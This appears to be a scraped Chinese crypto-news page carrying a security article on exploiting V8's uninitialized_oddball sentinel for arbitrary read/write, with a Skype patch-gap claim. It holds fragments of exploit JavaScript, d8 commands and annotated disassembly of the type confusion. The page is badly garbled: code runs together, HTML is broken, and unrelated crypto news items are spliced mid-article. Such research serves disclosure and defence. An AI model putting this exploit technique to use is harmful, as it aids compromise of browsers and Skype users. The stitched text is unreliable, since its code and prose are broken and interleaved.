BTC/HKD+0.54%
ETH/HKD-0.31%
LTC/HKD+1.53%
DOT/HKD-0.05%
ADA/HKD-0.45%
SOL/HKD+0.28%
XRP/HKD+1.44%
DOGE/US+1.33%前言
Sentinelvalue(又名flagvalue/tripvalue/roguevalue/signalvalue/dummydata)是算法中的一個特殊值，通常在循環或遞歸算法中作為終止條件的特殊值存在。Chrome源碼中有很多Sentinelvalue。from-leaking-thehole-to-chrome-renderer-rce和TheHoleNewWorld-howasmallleakwillsinkagreatbrowser(CVE-2021-38003)中，都介紹了如何通過泄露TheHole對象實現CVE-2021-38003和CVE-2022–1364的沙箱內任意代碼執行。在我們發文闡述該緩解繞過大概一周后，谷歌團隊也迅速把這兩個在野CVE同步更新到了github上。時間節點如下：
{this</p>
<p> <b>fhi(f){this</b></p>
<p> flow(f){this</p>
<p> }functionUninitializedOddballExploiter(uninitialized_oddball){varh=newHelpers();letarr=newArray(0x1000000);arr=1</p>
<p> ;%PrepareFunctionForOptimization(read);read(exp2,0);%OptimizeFunctionOnNextCall(read);constold_space=0x200000;//0x200000letstart_offset=Math</p>
<p> 數據：過去一周USDC流通量減少5億美元:金色財經報道，據官方數據，過去7天Circle共發行11億美元USDC，贖回16億美元USDC，流通量減少5億美元。截至8月5日，USDC總流通量為260億美元，儲備量為261億美元，其中現金18億美元，Circle Reserve Fund持有243億美元。 </p>
<p> \u2028[2023/8/6 16:20:52]</p>
<p> }UninitializedOddballExploiter(%TheHole());//注意對%TheHole()做patch</p>
<p> 我們對上述代碼在v8-11.0.0中測試，當%TheHole()返回UninitializedOddball時，仍舊可以實現相對任意讀。</p>
<p> ./d8--expose-gc--allow-natives-syntax--print-opt-code--print-opt-code-filter=read--trace-turbo/home/avboy/Desktop/poc2.js</p>
<p> 對優化后的JavaScript的read函數去掉Prologue，留下關鍵反匯編如下所示：</p>
<p> 0x558b2000406929488b4d18REX.Wmovqrcx,0x558b2000406d2df6c101testbrcx,0x1;;checkifrcx(ie.obj,the1stargoffunction)is'Smi'0x558b20004070300f842e020000jz0x558b200042a4<+0x264>;;deoptreason'Smi'0x558b200040763641b831cd1900movlr8,0x19cd31;;(compressed)object:0x17140019cd31<Map(HOLEY_ELEMENTS)>0x558b2000407c3c443941ffcmpl,r8;;checkthemap(r8=0x19cd31isthemapofobj);;herewecheckthemapofobj,butwedidnotcheckthevalueofkey(ie.obj.prop);;andifwemakethevalueofkeytobeuninitialized_oddball,thereisthebypass0x558b20004080400f8522020000jnz0x558b200042a8<+0x268>;;deoptreason'wrongmap'0x558b2000408646448b410bmovlr8,;;*(addr(obj)+0xb)->r80x558b2000408a4a478b44060bmovlr8,;;r14ishighaddr0x558b2000408f4f4d03c6REX.Waddqr8,r14;;r8->inReadOnlySpace:#uninitialized0x558b2000409252458b4807movlr9,;;0x558b20004096564d03ceREX.Waddqr9,r14;;r9->0x2eb90000000d0x558b2000409959458b400bmovlr8,;;0x558b2000409d5d488b7d20REX.Wmovqrdi,;;rdiisindexofarr,the2ndargoffunction0x558b200040a16140f6c701testbrdi,0x1;;checkifrdiis'Smi'0x558b200040a5650f85da000000jnz0x558b20004185B5<+0x145>;;ifrdiisnot'Smi',JMP0x558b200040ab6b4c63dfREX.Wmovsxlqr11,rdi;;0x558b200040ae6e49d1fbREX.Wsarqr11,1;;r11/2,because'Smi'storedas'Smi'*2inMemory0x558b200040b1714d63c0REX.Wmovsxlqr8,r80x558b200040b47449d1f8REX.Wsarqr8,10x558b200040b7774d3bd8REX.Wcmpqr11,r8;;r11=0x40002,real_offsetastheindexofarr0x558b200040ba7a0f83ec010000jnc0x558b200042ac<+0x26c>;;deoptreason'outofbounds'0x558b200040c080c4817b1044d907vmovsdxmm0,;;movedoublefloatvaluetoxmm00x558b200040c787c5f92ec0vucomisdxmm0,xmm0;;ComparefloatvalueandSetEFLAGS0x558b200040cb8b0f8a88010000jpe0x558b20004259B9<+0x219>;;jpe(Jumpifparityeven)0x558b200040d1????91??0f8582010000?????????jnz?0x558b20004259??B9?<+0x219>??;;?jnz(Jump?if?not?zero)</p>
<p> Upbring使用加密技術幫助德克薩斯州弱勢兒童:金色財經報道，總部位于德克薩斯州奧斯汀的非營利組織Upbring表示，它將使用加密貨幣和區塊鏈技術來幫助孤星州的11,000多名兒童。Upbring提供三項主要服務，教育、安置和寄養。該組織尋求為該地區的貧困兒童提供援助和幫助，并防止他們暴露在危險和不健康的情況下。換句話說，它想讓虐待兒童成為過去。在撰寫本文時，德克薩斯州有75個地點由Upbring托管。[2022/12/4 21:20:31]</p>
<p> 在0x558b2000407c處，檢查了read函數的obj，確定其prop屬性正確，但沒有檢查以obj.prop為key的Value，而是直接按照JavaScript語義計算偏移，求取數組的數值。如此導致我們在計算的時造成類型混淆，實現任意讀。</p>
<p> 如上匯編所示，當我們傳入uninitialized_oddball時，從0x558b20004086開始以obj為起點計算，最終在vmovsdxmm0,指令中完成任意讀，數據保存在xmm0寄存器中。類似TheHole對象，由于uninitialized_oddball在v8內存中排序靠前，且對象內容更加原始，偽造更加容易，在TheHole緩解繞過修復后，該方法不失為繞過首選。同理，任意寫我們可以參考Issue1352549進行構造分析。由于原理雷同，這里不再贅述。</p>
<p> 這里修復建議是，對優化后的函數返回數組元素時，添加對數組map的檢查，避免直接計算偏移返回數組數值。</p>
<p> PatchGapAlert</p>
<p> 在我們談論PatchGap時，實際上我們不僅僅需要關注曾經出現的歷史漏洞，我們還要關注廠商在基礎組件中悄悄修復的漏洞。對Issue1352549分析后，我們迅速排查了可能存在PatchGap的軟件，這里不得不指出，截至目前Skype仍舊沒有對該漏洞進行修復。在x86下任意讀寫會稍有不同。x64下由于存在地址壓縮，在tuborgfun優化javascript生成的代碼中，v8會默認將基址加上。x86由于沒有基址，因此任意讀寫是直接相對于整個進程的。如下匯編所示：</p>
<p> 新加坡前總理吳作棟加入區塊鏈公司ChainUp擔任特別顧問:9月27日消息，區塊鏈技術提供商ChainUp周日宣布，已聘請新加坡前總理吳作棟（Goh Chok Tong）為其新任命的董事會特別顧問。ChainUp的董事會將由董事長Ooi Sang Kuang領導，他也是新加坡華僑銀行的董事會主席。據悉，吳作棟自1990年起接任李光耀任新加坡總理，并于1992年起擔任新加坡人民行動黨秘書長至2004年為止。 </p>
<p> ChainUp總部位于新加坡，提供一整套區塊鏈解決方案，包括流動性解決方案、NFT交易系統、錢包解決方案以及數字資產托管和管理。（海峽時報）[2022/9/27 22:33:04]</p>
<p> 0x3979b8ff3f8b790bmovedi,0x3979b902428b7f0bmovedi,0x3979b905458b4707moveax,;;eaxwillbeafixednumber0x3979b908488b7f0bmovedi,0x3979b90b4b8b5510movedx,0x3979b90e4ef6c201test_bdl,0x10x3979b911510f85b6000000jnz0x3979b9cd<+0x10d>0x3979b9175789d6movesi,edx0x3979b91959d1fesaresi,1;;esiisindex0x3979b91b5bd1ffsaredi,1;;0x3734b73a0x3979b91d5d3bf7cmpesi,edi0x3979b91f5f0f838e010000jnc0x3979bab3<+0x1f3>;;deoptreason'outofbounds'0x3979b92565c5fb104cf007vmovsdxmm1,xmm0,;;</p>
<p> 元宇宙機構INDEX GAME完成170萬美元融資，The Sandbox投資:金色財經消息，由The Sandbox孵化的總部位于香港的元宇宙機構INDEX GAME完成170萬美元融資，The Sandbox投資，到2023年該投資可能會增加到600萬美元，The Sandbox還將為INDEX GAME提供在合作期間創建的IP的獨家安排。[2022/8/22 12:40:03]</p>
<p> 如上所示，esi為任意讀數組的索引，eax為固定值，edi為)
因此，在edi范圍內，可以任意讀寫。在具體做skype的exp時，雖然此時我們沒有地址壓縮帶來內存讀寫的便利，且skype開啟了aslr。但由于該文件太大，直接放在4GB內存中，黑客只需要對某個固定地址進行讀寫，便可以一個極大的概率讀寫skype文件中的內容。結合PE解析等傳統思路，不難完成整個漏洞利用鏈。基于此，我們無法保證黑客不能在短時間內完成整個利用鏈的適配。
這次PatchGap實際上不止需要排查Issue1352549，由于一個新的繞過方法的公開，直接導致了類似Issue1314616和Issue1216437的利用難度大幅度降低，黑客幾乎不需要花費任何研究成本，即可實現以往任何泄露uninitialized_oddball漏洞的完整利用，包括谷歌clusterfuzz提交的所有Issue中類似的漏洞。
總結
本文僅拋磚引玉，粗略來談通過泄露Sentinelvalue中的uninitialized_Oddball來實現任意讀原語。如第二部分所示，v8中的Sentinelvalue還有很多，實際上我們在測試Sentinelvalue的時候，也會經常容易遇到崩潰，不乏有非int3的崩潰出現。由于Uninitialized_Oddball和TheHole均已被證明可以在v8中實現環節繞過，我們有充分的理由懷疑其他Sentinelvalue也可能導致類似問題。
比特幣全網未確認交易數量為30,596筆:7月7日消息，BTC.com數據顯示，目前比特幣全網未確認交易數量為30,596筆，全網算力為205.73 EH/s，24小時交易速率為2.90交易/s，目前全網難度為29.57 T，預測下次難度下調1.93%至29.00 T，距離調整還剩6小時 53 分鐘。[2022/7/7 1:56:17]
這也給我們一點提示：
01-其他uninitialized_Oddball泄露是否會輕松實現v8的RCE；
02-我們已經看到，谷歌會迅速將TheHole繞過進行修復，我們也看到利用垃圾回收實現ASLR繞過被長期擱置。這說明類似issue仍處在一個模糊邊界，即是否被正式當作安全問題對待。
03-如果02中的問題被當作正式安全問題對待，那么在fuzzer中是否有必要考慮將%TheHole/uninitialized_Oddball等Sentinelvalue作為變量加入，來挖掘其他利用原語；
這里不得不強調的是，無論該類問題是否被正式當作安全問題對待，它都會大大縮減黑客實現完整利用周期。
參考資料
https://bugs.chromium.org/p/chromium/issues/detail?id=1314616
https://bugs.chromium.org/p/chromium/issues/detail?id=1352549
https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
注:頂級投資機構a16z剛剛發布了一份綜合關注清單,列出了科技建設者在未來一年可能要解決的“大想法”,這份清單涵蓋了消費科技、游戲、AI、crypto等多個領域.
1900/1/1 0:00:00為什么人們FUD@Binance？幾個原因。Thread：1/9我們行業中的一些人討厭集中化。不管CEX是否有助于以更快的速度采用加密貨幣,他們就是討厭CEX.
1900/1/1 0:00:00注：本文來自@victalk_eth推特,MarsBit整理如下：1/nNFT領域優質項目大盤點—-尋找NFT每個細分賽道的頭部項目本次盤點將NFT賽道分為了四個不同的賽道NFT交易所NFT聚合.
1900/1/1 0:00:00摘要 Web3不僅僅是區塊鏈和EVM兼容,還有面向整個Web3的DID系統。本文將對從以下方面,對DID賽道進行分析.
1900/1/1 0:00:00Web3游戲雖仍處于早期階段,但發展迅速。這些游戲即將到來,但其中許多項目仍處于開發的早期階段。他們在去年左右才獲得資金,需要一些時間才能完成公開版本.
1900/1/1 0:00:00本周二,FTX?創始人?SBF在紐約聯邦法院對與FTX破產有關的八項刑事罪名指控表示不認罪,隨后獲得保釋10個月。有陰謀論人士認為,SBF或許和美國政府一些身居高位的朋友密謀,以騙取無罪釋放.
1900/1/1 0:00:00
以太幣交易所
